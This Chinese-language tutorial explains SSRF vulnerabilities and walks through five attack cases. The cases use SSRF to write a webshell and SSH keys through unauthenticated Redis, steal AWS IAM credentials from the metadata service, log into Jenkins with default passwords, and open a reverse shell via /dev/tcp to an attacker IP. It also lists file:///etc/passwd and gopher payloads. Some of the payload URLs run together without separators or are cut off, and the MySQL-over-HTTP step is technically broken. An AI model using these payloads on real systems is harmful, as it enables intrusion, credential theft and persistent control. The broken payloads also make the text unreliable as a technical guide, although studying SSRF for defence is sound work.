SSRF漏洞的概念
SSRF(Server-Side Request Forgery,服務端請求偽造)漏洞是指攻擊者可以通過構造惡意請求,誘使服務端發起請求到攻擊者指定的地址。由于服務端通常擁有更高的權限,比如訪問內網資源或敏感數據,這種漏洞可能被用來:
- 獲取服務器內部敏感信息。
- 探測內網結構。
- 執行其他攻擊,如利用 Redis、ElasticSearch 等內網服務漏洞。
SSRF的基本原理
服務端接受并處理用戶輸入的 URL 請求。未對輸入進行嚴格驗證,直接發送請求。攻擊者通過精心構造的 URL,強制服務端請求內網資源或惡意地址。
SSRF的危害
- 信息泄露:通過訪問內網服務獲取敏感信息。
- 內部網絡探測:探測服務器所在內網的拓撲結構。
- 訪問非授權服務:如訪問管理面板、數據庫等。
- 進一步攻擊:通過 SSRF 訪問漏洞系統實施更深層次的攻擊。
尋找潛在的 SSRF 攻擊點
SSRF 通常出現在以下功能模塊中:
- 文件下載功能:如圖片下載、文件預覽接口,URL 參數指定文件路徑。
- 示例 URL: `http://example.com/download?url=http://example.org/file.pdf`
- 圖片抓取功能:通過 URL 加載遠程圖片。
- 示例 URL: `http://example.com/getImage?url=http://example.org/image.png`
- Webhooks 或回調 URL:如系統支持第三方服務的回調機制。
- 示例 URL: `http://example.com/callback?url=http://example.org/webhook`
- 服務端請求的 API 功能:如通過 URL 提供 API 的代理功能。
- 示例 URL: `http://example.com/api?endpoint=http://example.org/api/resource`
判斷是否由服務端發起請求
方法:嘗試向可控的服務器(如 Burp Collaborator、Ngrok、RequestBin)發送一個請求,觀察是否收到訪問日志。
- 示例測試 URL: `http://example.com/getImage?url=http://your-controlled-server.com`
工具:
- RequestBin: 用于生成臨時可控 URL,監控服務端是否發送請求。
- Burp Collaborator: 內置的 DNS 與 HTTP 請求監控工具。
判斷標準:如果目標系統發起請求并返回到你控制的服務器,則可能存在 SSRF。
漏洞驗證階段
1. 基本 SSRF 測試
對目標 URL 逐步構造以下請求:
- 請求外部資源:
- 測試 URL: `http://example.com/getImage?url=http://example.org`
- 請求本地資源:
- 測試 URL: `http://example.com/getImage?url=http://127.0.0.1:80`
2. 協議測試
測試目標系統是否支持非 HTTP 協議:
- file:// 協議:
- 測試 URL: `http://example.com/getImage?url=file:///etc/passwd`
- gopher:// 協議(可用于內網攻擊或注入命令):
- 構造簡單的 gopher 請求:`gopher://127.0.0.1:6379/0PING`
3. 內網資源探測
通過 SSRF 驗證能否訪問內網資源:
- 構造內網 IP 請求(如常見內網網段):
- 示例測試:`http://example.com/getImage?url=http://192.168.1.1`
4. 利用元數據服務(云環境)
在云環境下(如 AWS、Google Cloud、Azure 等),測試是否可以通過 SSRF 訪問元數據服務:
- AWS 元數據服務:
- 常見測試 URL: `http://example.com/getImage?url=http://169.254.169.254/latest/meta-data/`
- Google Cloud 元數據服務:
- 常見測試 URL: `http://example.com/getImage?url=http://169.254.169.254/computeMetadata/v1/`
?5. 擴展攻擊驗證
嘗試組合 SSRF 和其他漏洞驗證更多危害:
- Redis 未授權訪問:
- 利用 SSRF 構造 Redis 訪問:
- 測試 URL: `http://example.com/getImage?url=gopher://127.0.0.1:6379/0SET+test+malicious_payload`
案例實戰
?案例1:利用 SSRF 訪問 Redis 未授權漏洞,寫入 Webshell
目標場景:
目標網站有圖片下載功能,接受一個 url 參數,直接下載并返回圖片,例如:
- 示例 URL: `http://example.com/getImage?url=http://example.org/image.png`。
目標內網存在 Redis 服務(假設 IP 是 192.168.1.10),且未設置訪問密碼。
攻擊步驟:
構造 SSRF 請求訪問 Redis:
http://example.com/getImage?url=http://192.168.1.10:6379/
-- 確認服務可被訪問。
- 向 Redis 寫入惡意數據(通過 Redis 的 SET 和 CONFIG 命令):
http://example.com/getImage?url=http://192.168.1.10:6379/SET+payload+malicious_code`
- 利用 Redis 寫入 Webshell 到目標服務器的 Web 根目錄:
http://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dir+/var/www/htmlhttp://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dbfilename+shell.phphttp://example.com/getImage?url=http://192.168.1.10:6379/SET+shell+
- 訪問目標服務器:
- 測試 URL: `http://example.com/shell.php?cmd=id`
成功獲取目標服務器的 Shell。
案例2:利用 SSRF + AWS 元數據服務獲取敏感信息
目標場景:
云環境中(如 AWS EC2),目標應用允許外部通過 URL 加載資源。
攻擊者利用 SSRF 請求 AWS 元數據服務(http://169.254.169.254)獲取敏感信息。
攻擊步驟:
- 構造請求獲取 AWS 臨時憑證:
http://example.com/getImage?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
- 根據返回的角色名稱(如 EC2Role),進一步獲取訪問密鑰:
http://example.com/getImage?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role
- 利用泄露的 Access Key 和 Secret Key,直接訪問目標 AWS 資源,如 S3 存儲桶、RDS 數據庫等。
案例3:利用 SSRF 探測內網,反彈 Shell
目標場景:
內網存在弱口令的管理面板或服務(如 Jenkins、Tomcat)。
攻擊者利用 SSRF 探測內網服務,并進一步實現反彈 Shell。
攻擊步驟:
- 探測內網服務:通過逐步構造 URL 探測內網,例如:
http://example.com/getImage?url=http://192.168.1.1:8080/
http://example.com/getImage?url=http://192.168.1.2:8000/
- 根據返回的 HTTP 狀態碼,確認內網中服務的開放端口。
-攻擊弱口令服務:假設發現 Jenkins 管理面板(默認端口 8080),嘗試默認弱口令 admin:admin 登錄。
- 通過 Jenkins 的命令執行功能上傳惡意代碼,實現反彈 Shell。
- 反彈 Shell:構造惡意 payload:
```bash
bash -i >& /dev/tcp/attacker_ip/1234 0>&1
```
- 在攻擊者機器上監聽:
```bash
nc -lvnp 1234
```
案例4:利用 SSRF 寫入 SSH 公鑰,實現持久化控制
目標場景:
目標內網有 SSH 服務開放,并且攻擊者可以利用 SSRF 將惡意公鑰寫入目標服務器的 .ssh/authorized_keys 文件。
攻擊步驟:
- 確定目標服務器的 IP 地址,并驗證可以通過 SSRF 訪問。
- 利用 Redis 未授權訪問,寫入公鑰:
http://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dir+/root/.ssh/http://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dbfilename+authorized_keyshttp://example.com/getImage?url=http://192.168.1.10:6379/SET+ssh_key+
?- 通過 SSH 登錄目標服務器:
ssh -i private_key root@192.168.1.10
案例5:SSRF 繞過限制,訪問內網數據庫
目標場景:
目標服務器有內網數據庫(如 MySQL、PostgreSQL)服務,攻擊者利用 SSRF 構造查詢訪問。
攻擊步驟:
確認內網數據庫 IP 和端口:
http://example.com/getImage?url=http://192.168.1.10:3306/
利用數據庫查詢接口注入惡意命令:
http://example.com/getImage?url=http://192.168.1.10:3306/select+user,host+from+mysql.user
進一步利用數據庫執行敏感查詢,獲取內網數據。